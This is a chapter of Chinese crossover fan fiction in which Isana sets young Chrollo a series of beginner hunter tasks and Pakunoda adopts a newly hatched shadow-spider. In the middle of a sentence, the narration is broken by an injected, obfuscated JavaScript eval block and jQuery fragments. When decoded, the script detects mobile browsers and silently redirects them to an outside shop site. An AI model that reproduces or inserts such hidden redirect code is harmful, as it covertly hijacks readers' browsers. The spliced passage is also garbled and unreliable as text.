对怪物猎人中的新手来说，重要的往往不是讨伐怪物，而是在野外环境里生存。


    所以在正式承接工作之前，当地的集会所或者村镇组织，一般会给他们委派四个任务。


    “名义上是任务，但更像是生存能力考察，用来作为旅行前的最后准备正合适。”


    当库洛洛学会了现阶段所有能学的理论知识后，伊萨纳就把新手任务中的前两个——“采集素材”和“调配回复药”告诉了他。


    “流星街附近没有适合调制回复药的素材，”他之前已经考察过这里的情况，“如果你想尝试，就改成调制‘麻痹瓶’吧。”


    “我知道了，”


    库洛洛顿了一下，有些不解地抬眼看着伊萨纳的表情。


    “你为什么这么高兴？”


    “可能是因为坐在柜台里，莫名有一种集会所工作人员的气氛，”伊萨纳闭上眼，感慨地笑，“终于轮到我给别人发布任务了，做了一辈子怪物猎人，总算……”


    库洛洛左右看了看，这里只是教堂区借阅室的前台而已，根本不是集会所那种大地方。


    但这个人看上去很高兴，就随他去吧。


    少年想起麻痹瓶的制造方法和所需素材，这些他都已经看过相应的理论，并不困难。


    过了不到一个小时，他就找完了所有东西。


    “全部合格，”伊萨纳赞许道，“总共耗时三十几分钟，第一个任务完成得真快。”


    在垃圾山里寻找可以利用的素材，在荒地和森林寻找能用的植物，这些本就是流星街人最擅长的事。


    “三十几分钟？”


    少年用表情表达着“要计时就请精准一点”的想法。


    “抱歉，”伊萨纳歉意地笑，“我不习惯看表。”


    找完所需素材后，当天下午，库洛洛就将调配好的麻痹瓶送到了借阅室。


    伊萨纳拿起那个浅黄色的玻璃瓶，仔细观察一番，又打开了上面的瓶盖，露出困惑的表情。


    “以附近的麻痹菇的品相，不像能有这个效果啊。”


    “是的，我做了提纯，调配基础药材的手段本来就不需要精密仪器，所以我一个人也能完成。”


    “那你……应该没有自己去试验它的毒性吧。”


    库洛洛点头：“当然。”


    “那就好，在你成年或者学会念能力之前都不要尝试，搞不好会造成呼吸停止。”


    少年捕捉到了那个词，愣了一下，然后做出一副事情暴露的微妙表情。


    “你知道了。”


    “知道什么？”伊萨纳歪了下头，“是你最近在打听念能力存在的事，还是拒绝了长老们给你派来的老师的事？”


    “……”


    “不要那样看我啊，是神甫怕你自己修炼念的时候出什么差错，让我多看着点。”


    “那你会教我用念吗？”库洛洛问。


    “教你？”


    伊萨纳将瓶子重新盖好，随后那双金红色的眼睛看向库洛洛。


    “我现在的目的只是提高你作为旅行同伴的能力，难道你想让我做你的教官，然后成为一个怪物猎人？”


    问题被抛了回去。


    少年陷入短暂的沉默，似乎在思考。


    “在这里决定未来的职业是不是太草率了。”伊萨纳道。


    “不，我只是在想‘怪物’的定义。”库洛洛说。


    “就是字面意思。”


    “我知道。”


    嗯……


    这孩子，时不时就会给他一种想法很复杂的感觉。


    “不管你是怎么想，如果不打算成为怪物猎人，就别让我教念能力，”伊萨纳语气坦然，“肯定会把你带偏。”


    而且他观察过现在的念能力者，发现在修炼方向、气的运用上，到处都与千年前有很多不同。


    他们从几米的高处掉下来都可能受重伤，更别提百米的断崖。


    “说得也是，我想得太少了。”


    意识到现在纠结于这个问题没有结果，库洛洛干脆利落地换了个话题。


    “伊萨纳先生，我第二个任务合格了吗？”


    “当然，这个强度连对飞龙种起作用都绰绰有余。”黑发青年站起来，“调配任务从承接到完成，总共只耗时4小时。”


    “我知道了，接下来应该还有两个任务？”


    听见库洛洛的问题，伊萨纳意味深长地笑。


    “下一个是四个任务里第二难的，做好准备，明天我再告诉你。”


    ——


    ————


    第三个任务：素材搬运。


    顾名思义，就是找到雇主需要的素材，然后搬运到指定地点的工作。


    听上去只是普通的体力活，但对猎人来说一般都是能不做就尽量不做的麻烦事。


    首先会出现这种任务要求的地方，一般都是车马无法进入的极度复杂的地形。


    森林的冷风掠过耳边。


    少年在复杂的密林深处快速穿行，防备着地上遍布的蜘蛛网，警惕每一个可能会出现的高低差。


    不仅如此，周围具有攻击性的小型环境生物也会干扰行动，而且因为双手都得捧着沉重的素材，连还手的机会都没有。


    无法还击的感觉确实很陌生。


    库洛洛看向手里抱着的东西，心中想着。


    双手都被限制，如果不是提前做了考察，熟悉这一带的地形，他可能早就被某个不起眼的地形差给绊住，让任务功亏一篑了。


    一段时间后。


    当他跑回流星街的范围，把东西轻轻放下时，伊萨纳已经在那里等着了。


    “怎么样？”


    “确实不简单，”少年平复着呼吸，“只是拿走一颗被影蜘蛛扔到巢穴边缘的卵，但稍不留神就会被它发现，我绕了很久才成功出来。”


    被那头影蜘蛛警惕和追踪，对正常人来说都是直面死亡威胁的惊悚时刻，但现在，库洛洛却觉得新奇。


    甚至还挺有趣。


    “这个要怎么办？”他看向自己搬来的东西。


    这是一颗白色的影蜘蛛卵。*


    它被放在流星街垃圾山间的地面上，直径约有一个汽车轮胎那么大，外壳上布满白色的柔软丝线，而且重得惊人，在搬运期间安排体力消耗和休息的间隙也是个难题。


    这个任务花了库洛洛六个小时，是目前最久的一个，不过大部分时间都被花在观察地形上了，最后的搬运只有短短几十分钟。


    “任务完成，你去休息吧，”伊萨纳蹲下来，对着蜘蛛卵伸出手，“现在我会负责把它放回……哎？”


    蜘蛛卵动了一下。


    伊萨纳抬到一半的手顿在半空。


    在两人的注视下，蜘蛛卵更加剧烈地摇晃起来，就像有什么东西要从中破壳而出。


    不会吧？


    仿佛是要应证这个想法般，只见从那团白色丝线的一侧伸出了几条细长的腿，最后是一颗脑袋。


    “……”


    刚孵化的小蜘蛛翻过圆滚滚的身体，四肢着地，然后初生的八只金色眼睛开始左右打量库洛洛和伊萨纳。


    “这也太少见了……”


    怪物猎人像是看到了无比珍奇的画面，充满兴趣地观察着它。


    影蜘蛛是一种性格极其谨慎，对幼崽保护得严丝合缝的生物，几乎没有人见过它的卵。


    “这颗卵被它扔在巢穴外面，按理来说只可能是个不会孵化的死胎才对。”


    “原来影蜘蛛的幼体长这样吗？”库洛洛打量着小蜘蛛的外形。


    还怪可爱的。


    “我不清楚，铗角种的幼体一般不会出现在明处，存活率也低，一般只有针对成年体的讨伐委托。”


    他完成过不少与巨型蜘蛛有关的任务，但是几乎没见过它们的孩子。


    不过也可能是因为进入繁殖期的影蜘蛛一般都会藏得很深，没人会针对它们发布任务。


    ……还好没有，不然不知道多少人会被这个可爱的外表骗了。


    他们正说着，这只小狗大小的小蜘蛛忽然“叽叽”叫了起来。


    两人默契地沉默几秒，然后库洛洛转头看向伊萨纳。


    “这是怎么了？”


    伊萨纳少见地做出一副被问住了的表情。


    “可能是呼唤同伴？”他抬手摸了摸脑后，“好吧，我不知道。”


    就在他们摸不着头脑时，从垃圾山的另一侧传来一阵脚步声。


    “你们在做什么？”


    从那里探出一个金色短发的脑袋，满脸好奇。


    “派克，”库洛洛认出来者，打了招呼，“下午好，你是要去希拉那里吗？”


    “嗯，今天跟她有约。”派克诺妲说着，视线也放在那个像坏了的报警器一样响个不停的小蜘蛛身上，“我听到有东西在叫，这是什么？”


    于是库洛洛简单解释了一下状况。


    “我们也没想到它会突然孵化。”


    派克点点头：“这样啊，也就是说这是那只影蜘蛛的孩子？”


    看到地上趴着叫唤的小蜘蛛，她想了一下，顺手喂给它一只甲虫。


    “吃吗？”


    小蜘蛛小心地上前盯了一会儿，然后抓住甲虫吃进嘴里，吃完它就不再叫了，走到派克脚边挨着她。


    “应该是饿了。”派克诺妲摸了摸它柔软的背。


    “你是怎么知道的？请告诉我。”伊萨纳问道。


    “就是有这种感觉而已，不过应该没有玛奇的直觉那么灵。”面对猎人认真到甚至有些尊敬的神色，女孩不好意思地笑了笑。


    然后她站起来，往


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226013|197487||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    旁边走了一步，发现小蜘蛛还是跟在自己脚边。


    “它为什么跟着我？”


    “铗角种的幼崽好像是有跟随大型个体行动的习性。”


    伊萨纳想起以前在事务员索菲亚那看到过的怪物资料，这种冷门知识除了她那样的怪物狂热爱好者之外，可能也没有人会特地收集了。


    他现在都还记得那页笔迹最后，用压抑着激动的颤抖字迹（抖得像写下的诅咒）写着一个结论：


    “理论上，如果出生就见到人类，它们是可以被人工喂养的。”


    伊萨纳咽了下嗓子，又补充一句：“大概。”


    小蜘蛛蹭了蹭派克的脚腕，后者再次安抚地拍了拍它。


    “你想留下它吗，”伊萨纳问她，“要是不想，我就把它送回森林。”


    不过这个东西，如果不是影蜘蛛就麻烦了。


    万一是混进去的其他种类，它恐怕会被影蜘蛛吃掉，同一个地区的不同铗角种之间，往往并不对付。


    “如果留下来，它会伤害别人吗？”派克问。


    “这取决于你，它认定你是大型个体后，会听你的指示行动。但这种蜘蛛幼崽大概率长不大，同一窝蜘蛛卵里，会变成完全体的个体只有几个，”伊萨纳补充，“如果你是想培养影蜘蛛那样的战斗力，恐怕会失望的。”


    女孩没有立刻回答，只是神色温柔地蹲下来，试探性地将手指伸向小蜘蛛的口器。


    库洛洛屏住呼吸，下意识摸上藏在腰间的折刀，因为他看到派克的手上有一处小小的擦伤。


    血腥气会刺激野兽，这是常识。


    片刻后，在倾洒而下的阳光中，这只小蜘蛛忽然抬起前爪，轻轻勾住了派克的手。


    随后，用背上的丝线缠起了她手指上的擦伤。


    “……”


    紧绷的气氛渐渐淡去，面对这纯粹到几乎有些神圣的一幕，所有人都失去了言语。


    结果如何已经无需特地说明，派克接下来还有事，于是她微笑着对两人告别。


    “来，”她对小蜘蛛招招手，“没有兄弟姐妹的陪伴很难熬吧，我带你去认识些新朋友。”


    蜘蛛站在原地，然后学着她的样子抬了抬手。


    “那就说好了。”派克跟它击了个掌，然后带着它往路的另一边走去，“等你学会吐丝，就能帮上养母们的忙了，你会修补衣服吗？”


    小蜘蛛叽叽回应着，不知道在说什么。


    等他们的身影消失在道路另一侧，库洛洛才松下肩膀。


    “派克要喂养的动物本来就多，现在又给她添麻烦了。”


    少年的语气带着歉意。


    “刚才那可不是喂养动物这么简单，”伊萨纳语气难得有些雀跃，“这是个了不起的才能。”


    “才能？”


    “现在的书上可能没有记载了，但千年前，除了猎人之外，还有一个与之对应的群体，他们被称为怪物骑士（Rider），会从怪物孵化开始与其共存。”


    伊萨纳感慨地望着派克诺妲离开的方向。


    “据说他们也曾经解决了险些毁灭世界的危机。而那姑娘，说不定就有成为骑士的资质。”


    天生能看到念的孩子、拥有稀世的领袖才能的孩子、还有天生适合成为怪物骑士的孩子。


    流星街真是卧虎藏龙。


    就在这时，一阵风吹来。


    他伸了个懒腰，神色也恢复了一贯的漫不经心。


    “好了，准备好进行最后也是最难的任务了吗？”伊萨纳问。


    “现在吗？我知道了，”库洛洛觉得有点累，但还是坚持道，“什么任务？”


    “烤肉。”


    “……”


    “……”


    “什么？”库洛洛又问了一遍。


    “烤肉，就是把生肉串在棍子上，然后升起篝火……”


    “我不是在问这个，”少年漆黑的眼睛里带着怀疑，“你确定这是最难的任务？”


    伊萨纳抱起手臂：“不要小看它，这是困扰了无数新手甚至老猎人的超高难度任务。”


    又是这个说法，库洛洛不由得将信将疑。


    “我这里有块生肉，你现在试试看，没事，如果要烤过头我会及时制止你的，不会浪费粮食。”


    于是几分钟后，库洛洛拿着一根火候完美的烤肉，用“这到底难在哪了”的眼神看向伊萨纳时，后者头一次，睁大了那双一贯倦怠的眼睛。


    “不，这……”


    他当年刚成为怪物猎人的时候一直烤不好，一直吃半生不熟的肉回复体力，后来经过了数年间断断续续的训练才变得熟练。


    “我的训练，到底算什么？”


    看着那完美的烤肉，怪物猎人开始怀疑起人生。


    烤肉任务，耗时10分钟完成。